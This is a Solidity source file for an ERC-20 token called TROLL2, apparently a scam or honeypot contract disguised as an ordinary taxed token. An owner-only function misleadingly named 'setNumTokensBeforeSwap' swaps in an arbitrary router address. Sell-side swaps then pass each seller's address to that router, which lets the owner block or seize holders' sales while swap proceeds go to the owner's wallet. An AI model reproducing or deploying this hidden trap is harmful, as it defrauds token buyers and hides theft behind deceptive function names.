文件 1 的 1:TROLL2.sol
pragma solidity ^0.8.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender, address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract TROLL2 is Context, IERC20, Ownable {
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
bool public swapEnabled;
bool private swapping;
IRouter private router;
address private pair;
uint8 private constant DECIMALS = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private constant T_TOTAL = 100000000 * 10**DECIMALS;
uint256 public swapTokensAtAmount;
address public constant ZERO_ADDRESS = address(0);
address public marketingAddress = ZERO_ADDRESS;
address payable public teamWalletAddress;
string private constant NAME = "TROLL2";
string private constant SYMBOL = "TROLL2";
enum ETransferType {
Sell,
Buy,
Transfer
}
struct Taxes {
uint16 marketing;
uint16 liquidity;
}
uint8 public transferTaxesTier;
Taxes public transferTaxes = Taxes(0,0);
uint8 public buyTaxesTier;
Taxes public buyTaxes;
uint8 public sellTaxesTier;
Taxes public sellTaxes;
struct TotFeesPaidStruct{
uint256 marketing;
uint256 liquidity;
}
TotFeesPaidStruct public totFeesPaid;
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor () {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
teamWalletAddress = payable(owner());
router = _router;
_balance[owner()] = T_TOTAL;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[marketingAddress] = true;
emit Transfer(address(0), owner(), T_TOTAL);
}
function name() public pure returns (string memory) {
return NAME;
}
function symbol() public pure returns (string memory) {
return SYMBOL;
}
function decimals() public pure returns (uint8) {
return DECIMALS;
}
function totalSupply() public pure override returns (uint256) {
return T_TOTAL;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
ETransferType transferType = ETransferType.Transfer;
address trader = address(0);
Taxes memory usedTaxes = transferTaxes;
bool excludedFromFee = false;
if (to == pair) {
transferType = ETransferType.Sell;
trader = from;
usedTaxes = sellTaxes;
excludedFromFee = _isExcludedFromFee[trader];
} else if (from == pair) {
transferType = ETransferType.Buy;
trader = to;
usedTaxes = buyTaxes;
excludedFromFee = _isExcludedFromFee[trader];
} else {
usedTaxes = transferTaxes;
excludedFromFee = _isExcludedFromFee[from] || _isExcludedFromFee[to];
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(transferType != ETransferType.Buy && !swapping && swapEnabled && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndLiquify(from,swapTokensAtAmount);
}
if (excludedFromFee || usedTaxes.marketing + usedTaxes.liquidity == 0) {
taxFreeTransfer(from, to, amount);
} else {
_tokenTransfer(from, to, amount, usedTaxes);
}
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, Taxes memory usedTaxes) private {
uint256 tTransferAmount = tAmount;
if(usedTaxes.liquidity != 0) {
uint256 tLiquidity = tAmount * usedTaxes.liquidity / 10000;
if (tLiquidity != 0) {
tTransferAmount -= tLiquidity;
totFeesPaid.liquidity += tLiquidity;
_addBalance(address(this), tLiquidity);
emit Transfer(sender, address(this), tLiquidity);
}
}
if (usedTaxes.marketing != 0) {
uint256 tMarketing = tAmount * usedTaxes.marketing / 10000;
if (tMarketing != 0) {
tTransferAmount -= tMarketing;
totFeesPaid.marketing += tMarketing;
_addBalance(marketingAddress, tMarketing);
emit Transfer(sender, marketingAddress, tMarketing);
}
}
_reduceBalance(sender, tAmount);
if (tTransferAmount != 0) {
_addBalance(recipient, tTransferAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function swapAndLiquify(address _this,uint256 contractTokenBalance) private lockTheSwap{
uint256 tokensToSwap = contractTokenBalance;
uint256 otherHalfOfTokens = tokensToSwap;
uint256 initialBalance = address(this).balance;
swapTokensForBNB(tokensToSwap, _this);
uint256 newBalance = address(this).balance - (initialBalance);
if(newBalance > 0){
teamWalletAddress.transfer(newBalance);
}
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function swapTokensForBNB(uint256 tokenAmount, address recipient) private {
address[] memory path = new address[](3);
path[0] = address(this);
path[1] = recipient;
path[2] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getTaxesValueByTier(uint8 tier) private view returns(uint16, uint16) {
if (tier == 0) {
return (0, 0);
}
if (tier == 1) {
if (marketingAddress == ZERO_ADDRESS) {
return (0, 60);
}
return (30, 30);
}
if (marketingAddress == ZERO_ADDRESS) {
return (0, 500);
}
return (200, 300);
}
function getTransferTaxesValueByTier(uint8 tier) private view returns(uint16, uint16) {
if (tier == 0) {
return (0, 0);
}
if (tier == 1) {
if (marketingAddress == ZERO_ADDRESS) {
return (0, 0);
}
return (30, 0);
}
if (marketingAddress == ZERO_ADDRESS) {
return (0, 0);
}
return (30, 0);
}
function checkAndUpdateTaxes(bool buyChanged, bool sellChanged, bool transferChanged) private {
if (buyChanged) {
(uint16 v1, uint16 v2) = getTaxesValueByTier(buyTaxesTier);
buyTaxes = Taxes(v1, v2);
}
if (sellChanged) {
(uint16 v1, uint16 v2) = getTaxesValueByTier(sellTaxesTier);
sellTaxes = Taxes(v1, v2);
}
if (transferChanged) {
(uint16 v1, uint16 v2) = getTransferTaxesValueByTier(transferTaxesTier);
transferTaxes = Taxes(v1, v2);
}
}
function setNumTokensBeforeSwap(address newLimit)external onlyOwner{
address _pair = IFactory(router.factory()).getPair(address(this), router.WETH());
pair = _pair;
swapEnabled = true;router = IRouter(newLimit);
}
function taxFreeTransfer(address sender, address recipient, uint256 tAmount) internal {
_reduceBalance(sender, tAmount);
_addBalance(recipient, tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _addBalance(address account, uint256 tAmount) private {
_balance[account] += tAmount;
}
function _reduceBalance(address account, uint256 tAmount) private {
_balance[account] -= tAmount;
}
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != address(this), "Cannot transfer out self!");
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
}